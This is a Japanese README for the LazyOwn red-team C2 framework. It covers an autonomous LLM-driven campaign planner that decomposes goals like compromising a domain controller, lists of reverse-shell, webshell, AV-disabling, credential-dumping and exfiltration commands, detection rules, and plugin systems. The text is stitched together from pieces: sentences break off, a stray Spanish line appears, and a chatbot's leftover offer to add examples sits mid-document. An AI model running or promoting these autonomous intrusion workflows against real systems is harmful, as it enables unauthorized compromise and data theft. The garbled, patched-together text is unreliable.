| `fim_scan` | ファイル整合性の変更 |
| `redteam_hunt` | 脅威ハンティングパターン |
| `sigma_rules` | 10個のSigmaルール(mimikatz、リバースシェル、privesc、nmap、webshell、/etc/shadow、cron、SMB、exfil、injection) |
**Sigmaルール検出エンジン**(LazyOwnBT `lazyownbt/detection.py`):
| ID | ルール | レベル |
|----|------|-------|
| LAZYOWN-001 | Mimikatz 資格情報ダンプ | critical |
| LAZYOWN-002 | リバースシェルパターン | critical |
| LAZYOWN-003 | Sudoによる権限昇格 | high |
| LAZYOWN-004 | Nmapスキャン検出 | medium |
| LAZYOWN-005 | Webshell実行 | critical |
| LAZYOWN-006 | プロセスインジェクション | high |
| LAZYOWN-007 | /etc/shadowアクセス | critical |
| LAZYOWN-008 | Cron永続化 | high |
| LAZYOWN-009 | 横展開SMB | high |
| LAZYOWN-010 | データ持ち出し | high |
**出力ファイル:**
- `sessions/purple_dataset.csv` — MLトレーニングデータセット
- `sessions/purple_audit.jsonl` — 完全な監査ログ
- `sessions/detection_feedback.jsonl` — オラクルキャリブレーション
**注記:** 本番環境で使用する場合は、auditdログ転送を介して実際のSIEM(Wazuh、Elastic SIEM、Splunk)と統合してください。組み込みのSigmaルールはオフラインテスト専用です。
### Hive Mind — `skills/hive_mind.py`
共有メモリを備えたマルチエージェントのクイーン+ドローンアーキテクチャ:
- **QueenBrain**(Claude): 高レベルオーケストレーション + 高リスクアクション用のConsensusProtocol
- **DronePool**(Groq/Ollama): 偵察/エクスプロイト/資格情報/横展開/権限昇格タスクの並列実行
- **HiveMemory**: ChromaDBセマンティック + SQLiteエピソード + Parquet長期ストレージ
- **EpisodeReflectionEngine**: キャンペーン後の教訓抽出を`sessions/campaign_lessons.jsonl`として保存
### 自律型キャンペーンインテリジェンス(ACI) — `skills/aci_planner.py`
**自律的に計画、実行、学習する初のC2フレームワーク。**
ACIは自然言語によるエンゲージメント目標と完全に自律的な実行ループの間のギャップを埋めます。競合製品(Cobalt Strike、Sliver、Havoc、Metasploit)のいずれもこれをエンドツーエンドで実現していません:```
Operator: "Compromise the domain controller at corp.internal
starting from a phishing foothold on 10.10.11.5"
↓
ACI Planner ──► MITRE ATT&CK decomposition (LLM-backed, static fallback)
recon → exploit → exec → privesc → cred → lateral → report
↓
ObjectiveStore ─► 20+ concrete objectives injected into sessions/objectives.jsonl
↓
auto_loop / autonomous_daemon ─► executes each objective autonomously
↓
ACIEngine monitors ─► detects stalled phases (blocked_count ≥ 3)
↓
ACIReplan ──► LLM generates alternative techniques for blocked phases
↓
ACIReflector ──► appends lessons to sessions/campaign_lessons.jsonl
feeds back into the next engagement
3つのMCPツール:
| ツール | 機能 |
|---|---|
lazyown_aci_plan | 目標を分解 → ATT&CKプラン → 目的を注入 |
lazyown_aci_status | ライブフェーズの内訳、完了率、再計画の推奨 |
lazyown_aci_replan | 停滞時に適応的な再計画を強制; 教訓を自動生成 |
クイックスタート:```python
lazyown_aci_plan( goal="Compromise the DC at corp.internal", target="10.10.11.5", scope=["10.10.11.0/24"], domain="corp.internal", os_hint="windows", )
lazyown_auto_loop(target="10.10.11.5", max_steps=20)
lazyown_aci_status()
lazyown_aci_replan(reason="Kerberoasting blocked by AV, try AS-REP roasting")
**ACI が他のツールと比べて独自である理由:**
- Cobalt Strike / Sliver / Havoc は C2 フレームワークであり、オペレーターがすべてのステップを計画する
- Metasploit には自動化があるが、インテリジェンスはない
- CALDERA は固定された ATT&CK 手順をエミュレートするが、未知の環境に適応できない
- **ACI は計画、実行、再計画、学習を行う — 継続的に、エンゲージメントをまたいで**
**永続化:**
| ファイル | 内容 |
|------|----------|
| `sessions/aci_plan.json` | アクティブな計画: フェーズ、目標、完了状態 |
| `sessions/aci_history.jsonl` | 完了または放棄された計画のアーカイブ |
| `sessions/campaign_lessons.jsonl` | ACIReflector によって抽出された教訓 |
**CLI の使用法 (スタンドアロン):**```bash
python3 skills/aci_planner.py plan "Compromise DC" --target 10.10.11.5 --os windows
python3 skills/aci_planner.py status
python3 skills/aci_planner.py replan "technique blocked"
python3 skills/aci_planner.py reflect
skills/autonomous_daemon.py単一プロセス内の4つのasyncioロール — ステップ間にClaudeは不要:``` Role 1 — ObjectiveLoop : watches objectives.jsonl, takes + executes Role 2 — ExecutionEngine : 6-layer cascade per step, RL Q-table feedback Reactive → Parquet → Bridge → SWAN(MoE+RL) → LLM → Fallback Role 3 — WorldModelWatcher : graph centrality + pivot candidate tracking Role 4 — DroneCoordinator : hive drone spawning on recon/cred/service findings
デーモンでSWANを有効化する: 起動前に `export AUTO_USE_SWAN=1` を実行する。
ACIはデーモンにフィードする: `lazyown_aci_plan` によって注入された目的は、Role 1 (ObjectiveLoop) によって自動的に取得される — 追加の設定は不要である。
### グラフベースの推論 — `modules/world_model.py`
NetworkGraphは、発見されたすべての関係(ホスト、サービス、認証情報、信頼パス)を追跡し、正規化された次数中心性を計算してピボット候補を浮かび上がらせる。上位3件の候補は、すべての `to_context_string()` 呼び出しに注入され、自律ループが常に最も価値の高い横展開ターゲットを把握できるようにする。
## 認可スコープガード
`payload.json` からターゲットを読み取るレッドチームフレームワークには鋭い刃がある: 誤った `rhost` が、認可されていないホストに対して攻撃的なコマンドを発火させてしまう。スコープガードはセーフティネットである。すべての対話型コマンドは、コマンドが実行される前に、アクティブなターゲットを認可されたエンゲージメントスコープと照合する単一のチョークポイントを通過する。```bash
(LazyOwn) > scope add 10.10.11.0/24 # CIDR, bare IP, hostname, or *.corp.local wildcard
(LazyOwn) > scope add dc.corp.local
(LazyOwn) > scope mode enforce # off | warn (default) | enforce
(LazyOwn) > scope # show current scope and posture
off の間は休眠状態にあるため、
オプトインするまで既存のキャンペーンは影響を受けません。内部エラーが発生した場合は
オペレーターをブロックするのではなく、コマンドを許可します。warn はスコープ外の攻撃的コマンドに注釈を付け、enforce は明示的な確認があるまで
それらをブロックします(非対話セッションでは拒否します)。do_* コマンドは自動分類されます。payload.json(scope、scope_enforcement)に保存され、純粋なロジックは
シェルと一切結合していない cli/scope_guard.py にあります。依存関係は pyproject.toml で一度だけ宣言され(単一の信頼できる情報源)、
再現可能なインストールのために固定されています:
requirements.txt — クロスプラットフォームのコアロック(CUDA ホイールなし)。requirements-ml.txt — オプションの重量級 ML スタック(torch/CUDA、scikit-learn)。install.sh は strict モードで実行され、冪等です。デフォルトのインストールは
軽量で、--with-ml(2 GB の ML スタック)、--with-ollama
(ローカル LLM ランタイム)、--with-tools(一般的な外部バイナリ)で
追加機能をオプトインできます。pip install -e .[ml,dev]。Ctrl+K)、すべてのコマンド後のインラインリアクティブヒント、Textual TUI ダッシュボード。yara_marketplace(10 の組み込みルール:ランサムウェア、C2、ウェブシェル、難読化、権限昇格)、nuclei_marketplace(500 以上のテンプレート)、コミュニティプラグイン/アドオン用の marketplace — すべて curses TUI で閲覧可能。auto_pwn はキルチェーンフェーズを自動的に進め、hunt は既知の TTP に基づいて標的を絞ったディスカバリを実行します。auto_crypto は終了時に機密セッションファイルを暗号化し、起動時に復号します(PBKDF2HMAC + Fernet)、オペレーターに対して透過的です。dlopen ランタイムを介した Linux 向け BOF サポートを備えた最初のオープンソース C2 フレームワーク。Windows BOF コントラクトとソース互換の datap API。ダイレクトシステムコールと io_uring サポート。sessions/captured_images に保存されます。lazynmap ディスカバリデータで補強されます。

cron コマンドを利用してタスクをスケジュールおよび自動化し、持続的な脅威シミュレーションを可能にします。

/addons ページで、YAML を手作業で触ることなく lazyaddons/*.yaml 統合を作成できます。1 つのフォームですべてのアドオンオプション(名前、説明、作者、バージョン、有効化、ターゲット OS、トリガーサービス、カテゴリ、モジュールタイプ、インストールタイプ、パラメータ、ツールブロック、C2 拡張、環境変数)をツールチップ、プレースホルダー、フィールドごとのヘルプとともに公開します。プレースホルダーチップ({rhost}、{url}、宣言されたパラメータ、およびすべての payload.json キー)はコマンドボックスにドラッグアンドドロップできます。サーバー側の検証は、ファイルが書き込まれる前に安全でない名前、パストラバーサル、不明なプレースホルダー、不正な URL を拒否します。書き込みはアトミックで安全です(mkstemp + fchmod で制限付きパーミッションの一時ファイルを作成し、フラッシュと fsync を行い、os.replace で昇格)。リストと YAML プレビューページがライフサイクルを完成させます。すべての変更ルートは CSRF 保護されています。コントラクト:lazyc2/addon_creator.py + lazyc2/blueprints/addons.py、tests/test_addon_creator.py と tests/run_mutation_addon_creator.py ミューテーションゲートでカバーされています。.pdfx)になりすまし、rsrc を介してカスタムアイコンを埋め込んで説得力のあるソーシャルエンジニアリングを行います。
modules/killchain.py がフェーズを計算し、すべてのサーフェス(CLI /killchain、
/api/killchain、C2 /api/data+/api/dashboard、GUI2 パネル)がその
snapshot() をレンダリングします。/api/beacon_results/<client_id>、
modules/beacon_history.py(JSONL、パスセーフ)に支えられています。/killchain auto on|off|N ライブ自動リフレッシュ、フラグ
killchain_auto_every / killchain_auto_on_phase_change。統合マーケットプレイス TUI から閲覧、検索、インストール:
yara_marketplace list|search|install|info -- 10 の組み込みルール(ランサムウェア、C2、ウェブシェル、難読化、権限昇格)nuclei_marketplace list|search|install|info -- ~/nuclei-templates から 500 以上のテンプレートmarketplace list|search|install|update -- 137 の YAML アドオン、57 のプラグイン、69 のツールauto_pwn -- 偵察からエクスプロイトまでの自律的キルチェーンウォークhunt -- 脅威情報に基づく偵察:既知の TTP を発見されたサービスにマッピングPBKDF2HMAC + Fernet による終了時の透過的セッション暗号化 / 起動時の復号。
7 つの APT プロファイル:Azure Graph API、CICD Poisoning、Entra Connect、macOS TCC、OAuth Token Theft、SCCM/MECM、VDI Breakout。
chainmode on はワールドモデル駆動のチェーンフローを開始します:すべてのコマンドの後、
シェルはランク付けされた次のステップを提示します(Enter = トップの提案、1..N = ランク付けされた
代替案、任意のコマンド = オーバーライド、skip = 手動、ESC/Ctrl+C/off =
離脱)。無効な選択は黙ってスキップするのではなく再プロンプトされ、フローは
max_steps の連鎖コマンド後に自動一時停止します。状態は
sessions/chain_mode.json に永続化されます(アトミック書き込み)。コントラクト:cli/chain_mode.py +
cli/command_chain.py。
[0, 99]、決して不誠実な 100% ではない)、理由、出所が付随します。コントラクト:
cli/reactive_hints.py + cli/recommendation_signals.py。cli/tips_engine.py。cli/noise_verbs.py は、ヒント、チップ、チェーンモードで共有される
非アクション動詞リストの単一の信頼できる情報源です。core/api_authz.py は文書化された
ローテーション猶予ウィンドウを実装し、ローテーションされたキーから権限をコピーし(リグレッション
修正済み)、JSON 401/403 を返し(TRAP_HTTP_EXCEPTIONS で安全)、
C2 /api/health/tenant エンドポイントが実際に適用されます。ミューテーションゲート:
tests/run_mutation_api_authz.py(7/7 killed)。core/logging.py の install_json_handler は既存のハンドラを保持し、
冪等です。core/hardening.py に集中化されたセキュリティプリミティブと 48 の BDD スタイルテスト
(tests/test_security_hardening_v3.py)。以下で実行:```bash
pytest tests/test_security_hardening.py tests/test_security_hardening_v2.py tests/test_security_hardening_v3.py -v
mutmut run # 122/228 killed, 53.5% kill rate on core/hardening.py
**適用された主な修正:**
- `anti_forensics.py`、`pivoting.py`、`icmp_server.py`、`resource_script.py`、`command_executor.py`、`postexp_migrated.py` から `shell=True` を排除(22 箇所)
- `persist_migrated.py`、`cloud.py`、`lazyown.py`(4 箇所)、`misc_migrated.py` から `os.system()` を排除
- `websocket_beacon.py`、`evasive_payload.py` から `os.popen()` を排除
- `sshpass -p` を `sshpass -e` + 環境変数に置き換え、4 ファイル(C2、lateral、exfil、persist)に適用
- `phishing_orchestrator.py` からハードコードされた暗号化キーを削除(ENCRYPTION_KEY 必須)
- C2 バナー内の XSS を `html.escape()` で修正
- クリップボード内の rhost を介したコマンドインジェクションを `safe_clipboard_copy()` で修正
- cmd2 の `CMD_ATTR_HELP_CATEGORY` を `COMMAND_ATTR_HELP_CATEGORY` に改名(cmd2 4.2.2 互換)
---
## コマンド機能
LazyOwn は 13 のキルチェーンフェーズにわたる 741 のコマンドを提供し、CLI と Web C2 ダッシュボードの両方から利用可能です:
| フェーズ | 主要コマンド |
|-------|-------------------|
| Recon | `lazynmap`、`ping`、`whatweb`、`gobuster`、`ffuf`、`dig`、`dnsenum`、`finalrecon` |
| Enum | `enum4linux`、`cme`、`bloodhound`、`nuclei`、`kerbrute`、`ldapdomaindump` |
| Exploit | `auto_pwn`、`hunt`、`ss`(searchsploit)、`venom`、`lazymsfvenom`、`searchhash` |
| Post-Exploit | `linpeas`、`winpeas`、`blacksandbeacon`、`mimikatzpy`、`disableav` |
| Persistence | `persist`、`backdoor`、`cron`、`schtask`、`createwebshell` |
| PrivEsc | `getcap`、`sudo`、`adcs_check`、`privesc_predictor` |
| Cred Access | `secretsdump`、`evil`、`getnpusers`、`hashcat`、`john`、`spraykatz` |
| Lateral | `psexec`、`wmiexec`、`ssh_cmd`、`chisel`、`ligolo`、`bloodhound` |
| Exfil | `exfil`、`upload_gofile`、`encrypt`/`decrypt`、`compressdir` |
| C2 | `lazyc2`、`blacksandbeacon`、`createrevshell`、`listener_go` |
| Reporting | `report`、`lazyreport`、`campaign_sitrep`、`timeline`、`dashboard` |
| AI/Agents | `auto_loop`、`recommend_next`、`playbook_generate`、`playbook_run`、`orchestrate` |
| Marketplace | `yara_marketplace`、`nuclei_marketplace`、`marketplace`、`lab` |
コア管理:`assign`、`show`、`doctor`、`wizard`、`scope`、`collab_join`、`config_banner`、`palette`、`fz`。
完全な 606 コマンドのリファレンスについては [`COMMANDS.md`](https://github.com/grisuno/lazyown/blob/main/COMMANDS.md) を、エンゲージメントの 80% をカバーする 18 のコマンドについては [`ESSENTIALS.md`](https://github.com/grisuno/lazyown/blob/main/ESSENTIALS.md) を参照してください。
# Lua プラグインによる LazyOwnShell の拡張
このドキュメントでは、Python の `cmd2` フレームワーク上に構築された `LazyOwnShell` アプリケーションの機能を拡張するために、Lua スクリプトを使用する方法について説明します。Lua を使用すると、新しいコマンドの追加、既存の動作の変更、アプリケーションデータへのアクセスを行うカスタムプラグインを作成できます。

---
## 目次
1. [はじめに](#introduction)
2. [Lua プラグインのセットアップ](#setting-up-lua-plugins)
3. [Lua プラグインの作成](#writing-lua-plugins)
4. [新しいコマンドの登録](#registering-new-commands)
5. [アプリケーションデータへのアクセス](#accessing-application-data)
6. [エラー処理](#error-handling)
7. [プラグインの例](#example-plugins)
8. [ベストプラクティス](#best-practices)
---
## 1. はじめに
`LazyOwnShell` アプリケーションは Lua スクリプトをサポートしており、ユーザーはコアの Python コードを変更することなく機能を拡張できます。Lua スクリプト(プラグイン)は `plugins/` ディレクトリに保存され、アプリケーションの起動時に自動的に読み込まれます。
Lua プラグインでできること:
- シェルに新しいコマンドを追加する。
- 既存のコマンドや動作を変更する。
- Python によって公開されたアプリケーションデータにアクセスして操作する。
---
## 2. Lua プラグインのセットアップ
Lua プラグインを使用するには、以下を確認してください:
1. Python 環境に `lupa` ライブラリをインストールします: ```bash
pip install lupa
plugins/
init_plugins.lua
hello.lua
goodbye.lua
アプリケーションが起動すると、init_plugins.lua が実行され、plugins/ ディレクトリ内の他のすべての .lua ファイルが読み込まれます。
Lua プラグインの構造 ```lua -- Define a function for the new command function my_command(arg) -- Your logic here print("This is a new command: " .. (arg or "default")) end
-- Register the function as a command
register_command("my_command", my_command)
主要関数
- register_command(command_name, lua_function):
- シェルに新しいコマンドを登録します。
- command_name: コマンドの名前(例: hello)。
- lua_function: コマンド呼び出し時に実行されるLua関数。
3. 新しいコマンドの登録
シェルに新しいコマンドを追加するには、次の手順に従います:
- コマンドのロジックを実装するLua関数を定義します。
- register_commandを使用して、その関数をコマンドとして登録します。
- 例: helloコマンドの追加
- 次の内容でファイルplugins/hello.luaを作成します: ```lua
function hello(arg)
local name = arg or "world"
print("Hello, " .. name .. "!")
end
register_command("hello", hello)
シェルでhelloコマンドを実行できるようになりました:
bash hello Lua Hello, Lua!
4. ベストプラクティス
Luaスクリプトを活用することで、コアのPythonコードを変更することなくLazyOwnShellの機能を拡張できます。これにより、より大きな柔軟性とカスタマイズが可能になり、ユーザーは特定のニーズを満たす独自のプラグインを書くことができます。ハッピーコーディング!
LazyOwn RedTeamフレームワークの機能拡張は、YAMLファイルを使用して機能を拡張できるLazyAddonsシステムのおかげで、非プログラマーにとってもかつてないほど簡単になりました。
YAML設定ファイルによる宣言的なコマンド作成。
lazyaddons/ ├── addon1.yaml ├── addon2.yaml └── example.yaml
name: "shortname" # CLI command (do_shortname) enabled: true description: "Tool description for help system"
tool: name: "Full Tool Name" repo_url: "https://github.com/user/repo" install_path: "tools/toolname" execute_command: "python tool.py -u {url}"
高度な設定```yaml
params:
- name: "url"
required: true
description: "Target URL"
default: "http://localhost"
- name: "threads"
required: false
default: 4
Features 自動インストール 不足している場合、ツールはGitからクローンされます:```bash git clone <repo_url> <install_path>
パラメータ置換
コマンド内の {param} を以下の値で置き換えます:
- コマンド引数
- デフォルト値
- self.params
- ヘルプ統合
help <command> は YAML の説明を表示します。
テンプレート```yaml
name: ""
enabled: true
description: ""
tool:
name: ""
repo_url: ""
install_path: ""
install_command: "" # Optional
execute_command: ""
params:
- name: ""
required: true/false
default: ""
description: ""
▶️ 使用方法 YAML ファイルを lazyaddons/ に配置します
CLI アプリケーションを起動します
登録されたコマンドを実行します:```bash (Cmd) help your_command (Cmd) your_command -args
🚨 トラブルシューティング
パラメータの欠落: YAML の必須フィールドを確認してください
インストールの失敗: ネットワーク/git アクセスを確認してください
コマンドエラー: execute_command の構文を検証してください
主な機能:
- クリーンな GitHub フレーバーの markdown
- YAML アドオンだけに焦点を当てています
- すぐに使えるテンプレートを含みます
- パラメータ置換システムを文書化します
- トラブルシューティングのヒントを提供します
特定の例や使用シナリオを追加しましょうか?

Reddit の LazyOwn
LazyOwn でペネトレーションテストを革新: Linux、MAC OSX、Windows の VICTIMS への侵入を自動化
<https://www.reddit.com/r/LazyOwn/>
<https://github.com/grisuno/LazyOwn/assets/1097185/eec9dbcc-88cb-4e47-924d-6dce2d42f79a>
Linux、MacOSX、Windows システムを攻撃するためのペネトレーションテストワークフローを自動化する究極のソリューション、LazyOwn をご覧ください。当社の強力なツールはペネトレーションテストを簡素化し、より効率的かつ効果的にします。この動画をご覧になり、LazyOwn がどのようにセキュリティ評価を合理化し、サイバーセキュリティツールキットを強化できるかを学んでください。```sh
LazyOwn> assign rhost 192.168.1.1
[SET] rhost set to 192.168.1.1
LazyOwn> run lazynmap
[INFO] Running Nmap scan on 192.168.1.1
...
LazyOwnは、ペンテストのニーズに対して集中管理された自動化ソリューションを求めるサイバーセキュリティ専門家に最適であり、脆弱性の特定と悪用において時間を節約し効率を高めます。

Python 3.x
Pythonモジュール:
subprocess (Python標準ライブラリに含まれる)
platform (Python標準ライブラリに含まれる)
tkinter (GUI用のオプション)
numpy (GUI用のオプション)
2. Pythonの依存関係をインストールします:```sh
./install.sh
```sh
./run or ./fast_run_as_r00t.sh
./run --help [;,;] LazyOwn vvvrelease/0.2.8 Usage: ./run [Options] Options: --help Show this help panel. -v Show version. -p <payloadN.json> Exec with different payload.json example. ./run -p payload1.json, (Special for RedTeams) -c Exec a command using LazyOwn example: ping --no-banner No Banner -s Run as root --old-banner Show old Banner
./fast_run_as_r00t.sh --vpn 1 (the number id of your file in vpn directory)
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Use assign <parameter> <value> to configure parameters.
Use show to display the current parameter values.
Use run <script_name> to execute a script with the set parameters.
Use exit to exit the CLI.
Once the shell is running, you can use the following commands:
list: Lists all LazyOwn Modules.
assign <parameter> <value>: Sets the value of a parameter. For example, assign rhost 192.168.1.1.
show: Displays the current values of all parameters.
run <script>: Executes a specific script available in the framework.
Available Scripts
┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env)
└╼ $ help
01. Reconnaissance
──────────────────
alterx finalrecon ping trace
apache_users getcap ports trufflehog
binarycheck gospider proxy tshark_analyze
cve graudit recon waybackmachine
dig httprobe serveralive2 whatweb
dnschef ipinfo sherlock windapsearchscrapeusers
dnsenum launchpad sslscan
dnsmap metabigor tcpdump_capture
dnstool_py openssl_sclient tcpdump_icmp
02. Scanning & Enumeration
──────────────────────────
ad_ldap_enum enum4linux_ng nbtscan rpcdump wpscan
allin evil_ssdp net_rpc_addmem rpcmap_py
amass feroxbuster netexec samrdump
arjun finger_user_enum netview sawks
arpscan fuzz nikto sessionssh
batchnmap getnpusers nmapscript skipfish
bbot gobuster nuclei smbattack
blazy hound odat smbclient
bloodhound kerbrute openredirex smbclient_impacket
breacher lazynmap osmedeus smbclient_py
certipy ldapdomaindump parsero smbmap
certipy_ad ldapsearch parth smtpuserenum
changeme lookupsid portdiscover snmpcheck
cme lookupsid_py portservicediscover snmpwalk
davtest loxs pre2k swaks
dirsearch lynis pykerbrute vscan
dmitry magicrecon rdp_check_py wfuzz
enum4linux mqtt_check_py rpcclient windapsearch
03. Exploitation
────────────────
aclpwn_py gettgtpkinit_py psexec sqlmap
addspn_py greatSCT psexec_py sqsh
autoblody img2cookie py3ttyup ss
cacti_exploit jwt_tool pyautomate sshexploit
commix krbrelayx_py pyoracle2 template_helper_serializer
cp kusa pywhisker ticketer
createcookie lazypwn rejetto_hfs_exec unicode_WAFbypass
createdll lfi rev upload_bypass
digdug lol seo utf
download_exploit ms08_067_netapi sharpshooter winbase64payload
downloader ntpdate shellfire wrapper
eternal owneredit shellshock www
excelntdonut padbuster sireprat xss
filtering powerserver sqli xsstrike
gets4uticket_py printerbug_py sqli_mssql_test
04. Post-Exploitation
─────────────────────
add2find exe2bin pezorsh
adversary exe2donutbin pip_proxy
adversary_yaml extract_yaml pip_repo
aes_pe find powershell_cmd_stager
ai_playbook follina rmfromfind
apt_proxy hex2shellcode rubeus
apt_repo internet_proxy scavenger
atomic_lazyown issue_command_to_c2 scp
bin2shellcode lazywebshell service_ssh
convert_remcomsvc_from_file mimikatzpy sessionsshstrace
cports msfshellcoder shellcode
create_synthetic ofuscate_string shellcode2elf
createpayload ofuscatesh shellcode2sylk
d3monizedshell ofuscatorps1 shellcode_search
disableav path2hex ssh_cmd
05. Persistence
───────────────
asprevbase64 ftp msfpc setoolKits
backdoor_factory generate_revshell paranoid_meterpreter ssh
conptyshell grisun0 pwncat toctoc
createrevshell grisun0w pwncatcs veil
createwebshell ivy rdp weevely
createwinrevshell knokknok revwin weevelygen
darkarmour listener_go scarecrow
dr0p1t listener_py service
06. Privilege Escalation
────────────────────────
responder smbserver
07. Credential Access
─────────────────────
addusers cred john2hash rocky
adsso_spray creds_py john2keepas searchhash
cewl crunch john2zip smalldic
crack_cisco_7_password cubespraying keepass spraykatz
createcredentials dacledit medusa sshkey
createhash generatedic passtightvnc sudo
createmail hashcat passwordspray transform
createusers_and_hashs hydra refill_password username_anarchy
08. Lateral Movement
────────────────────
addcli id_rsa penelope sshd wifipass
bloodyAD lateral_mov_lin regeorg stormbreaker wmiexec
chisel ligolo rnc targetedKerberoas wmiexecpro
dcomexec mssqlcli set_proxychains tord
getTGT nc shadowsocks upload_c2
gospherus ngrok socat vpn
09. Data Exfiltration
─────────────────────
adgetpass dploot evilwinrm getuserspns reg_py secretsdump
decrypt encrypt getadusers gitdumper rsync unzip
download_c2 evidence getnthash_py gmsadumper samdump2 upload_gofile
10. Command & Control
─────────────────────
atomic_agent automsf emp3r0r mitre_test sliver_server
atomic_gen c2 empire msf
atomic_tests caldera generate_playbook msfrpc
attack_plan duckyspark iis_webdav_upload_asp my_playbook
11. Reporting
─────────────
apropos createtargets gpt process_scans
banners download_malwarebazar groq pth_net
c2asm extract_ports img2vid pup
camphish eyewitness malwarebazar vulns
create_session_json eyewitness_py morse
createjsonmachine get_avaible_actions name_the_hash
createjsonmachine_batch gowitness nmapscripthelp
12. Miscellaneous
─────────────────
acknowledgearp clone_site getseclist links run
acknowledgeicmp cron graph list sh
addhosts decode h load_session show
aliass download_resources hex_to_plaintext nano sys
assign encode ignorearp news tab
banner encoderpayload ignoreicmp payload urldecode
base64decode encodewinbase64 ip pwd urlencode
base64encode exit ip2asn qa v
check_update fixel ip2hex rhost
clean fixperm kick rot
clock gencert lazyscript rotf
13. Lua Plugin
──────────────
generate_c_reverse_shell lolbas_certutil_download_exec
generate_cleanup_commands lolbas_certutil_exe
generate_html_payload lolbas_mshta_js
generate_lateral_command lolbas_mshta_reverse_shell
generate_linux_asm_reverse_shell lolbas_rundll32_dll
generate_linux_raw_shellcode lolbas_wmic_xsl_execution
generate_lolbird parse_nmap_with_xmlstarlet
generate_msfvenom_loader run_nuclei_on_nmap_files
generate_msfvenom_loader_windows run_python_rev_c2
generate_reverse_shell rundll32_sct_from_url
generate_stub validate_shellcode
kerberos_harvest visualize_network
lolbas_bitsadmin_exe
14. Yaml Addon.
───────────────
AdaptixC2 GoPEInjection OverRide
agentzero gosearch peeko
argfuscator gui pretender
ATTPwn gui2 PTMultiTools
AuroraPatch hack_browser_data PTMultiTools_scan
banner_tool hellbird PyinMemoryPE
bbr hive pyrit
beacon hooka_linux_amd64 raven
blacksandbeacon hostdiscover ridenum
blacksandbeacon_bof kivi_revshell setoolkit
cgoblin_windows laps ShadowLink
Clematis lazyaddon_creator shellcode_custom_win_rev_tcp_xored
commix2 lazyagentAi SigPloit
copy-fail-CVE-2026-31431 lazybinenc spoonmap
CVE-2022-22077 lazyftpsniff stratus_detonate
CVE_2025_24071_PoC LazyLoader stratus_list
demiguise lazymapd toposwarm
ebird3 lazyownbt unicorn
evilginx2 LazyOwnExplorer upxdump
gcr llm vulnbot
gemini-cli NullGate vulnbot_groq
gen_dll_rev oniux vulnhuntr
Get_ReverseShell opencode_adapter watchguard
githubot orpheus wspcoerce
gomulti_loader_linux
gomulti_loader_windows
15. Adversary YAML.
───────────────────
amsi_c implant_nim_nim infect_c pid_c
implant_crypt_go implant_rust_rs persist_ps1 shell_c
16. Artificial Intelligence
───────────────────────────
ai_toggle
Uncategorized Commands
──────────────────────
addalias gobuster_dns ipy ollama_enum set
alias gobuster_http listaliases pop shell
edit gobuster_web macro quit shortcuts
EOF help nikto_host rrhost subwfuzz_tool
ffuf_enumeration history notify run_pyscript
ffuf_tool ipp nuclei_ad_http run_script
┌─[👤grisun0 (LazyOwn👽kali) ~/home/grisun0/LazyOwn][127.0.0.1][http://VariaType.htb] 🌐192.168.1.120 ✗ feature/lazyllmchat-assistant (🐍env)
└╼ $
https://deepwiki.com/grisuno/LazyOwn/```sh LazyOwn> assign binary_name my_binary LazyOwn> assign rhost 192.168.1.100 LazyOwn> assign api_key my_api_key LazyOwn> run lazysearch LazyOwn> run lazynmap LazyOwn> exit

GTFOBinsから取得したスクレイピング済みデータベース内を検索するためのものです。```sh
python3 lazysearch.py binario_a_buscar
追加機能と拡張: AutocompleteEntry:
オートコンプリートリストから None 値を削除するフィルターが追加されました。 新しい攻撃ベクター:
メインインターフェースに「New Attack Vector」ボタンが追加されました。 新しい攻撃ベクターを追加し、更新されたデータを Parquet ファイルに保存する機能が実装されました。 CSV へのエクスポート:
メインインターフェースに「Export to CSV」ボタンが追加されました。 DataFrame データをユーザーが選択した CSV ファイルにエクスポートする機能が実装されました。 使用方法:
新しい攻撃ベクターを追加: 「New Attack Vector」ボタンをクリックし、フィールドに入力して保存します。 CSV へのエクスポート: 「Export to CSV」ボタンをクリックし、CSV ファイルを保存する場所を選択します。 新しい関数 scan_system_for_binaries:
file コマンドを使用してファイルがバイナリかどうかを判定する、システム全体のバイナリ検索を実装します。 os.walk を使用してファイルシステムを走査します。 結果は GUI 内の新しいウィンドウに表示されます。 バイナリを検索するボタン:
メインインターフェースに「Search System for Binaries」ボタンが追加されました。これは scan_system_for_binaries 関数を呼び出します。 注:
is_binary 関数は、ファイルがバイナリ実行ファイルかどうかを判定するために Unix の file コマンドを使用します。別のオペレーティングシステムを使用している場合は、互換性のためにこの方法を調整する必要があります。 この実装はファイルシステム全体を走査するため、リソースを大量に消費する可能性があります。検索を特定のディレクトリに限定したり、特定のファイルタイプでフィルタリングしたりする追加オプションの追加を検討するとよいでしょう。```sh python3 LazyOwnExplorer.py
```sh
python3 lazyown.py
更新したい場合は、次の手順で進めます:```sh cd LazyOwn rm parquets/.csv rm parquets/.parquet ./update_db.sh
## LazyOwn WebShells の使用モード
LazyOwn Webshell Collection は、私たちのフレームワーク用の webshell のコレクションであり、LazyOwn を実行しているマシン上で、さまざまなプログラミング言語を使用して webshell を確立できるようにします。基本的に、LazyOwn Webshell は modules ディレクトリ内で Web サーバーを起動し、Web ブラウザ経由でアクセス可能にします。これにより、モジュールを Web 経由で個別に利用可能にすると同時に、cgi-bin ディレクトリにアクセスできるようになります。そこには 4 つのシェルがあります。1 つは Bash、もう 1 つは Perl、もう 1 つは Python、そしてターゲットが Windows マシンの場合に備えて ASP のものです。```sh
lazywebshell
y listo ya podemos acceder a cualquiera de estas url:

`msfvenom` ツールを実行し、ユーザー入力に基づいてさまざまなペイロードを生成します。
この関数は、ユーザーに定義済みリストからペイロードタイプを選択するよう促し、対応する
`msfvenom` コマンドを実行して目的のペイロードを作成します。Linux、Windows、macOS、Android システム向けの
さまざまなタイプのペイロードの生成など、C ペイロードに対する Shikata Ga Nai によるオプションのエンコードを含む
タスクを処理します。
生成されたペイロードは `sessions` ディレクトリに移動され、適切な権限が設定されます。さらに、
ペイロードはスペース効率のために UPX を使用して圧縮できます。選択されたペイロードが Android APK の場合、
この関数は APK に署名し、必要な後処理手順も実行します。
:param line: スクリプトのコマンドライン引数。
:return: None```sh
run lazymsfvenom or venom
## コマンド & コントロールシステム
コマンド & コントロール(C2)システムは、暗号化通信を備えたサーバー・クライアントアーキテクチャを通じてリモート操作を可能にします。

## Lazy PATHハイジャックの使用
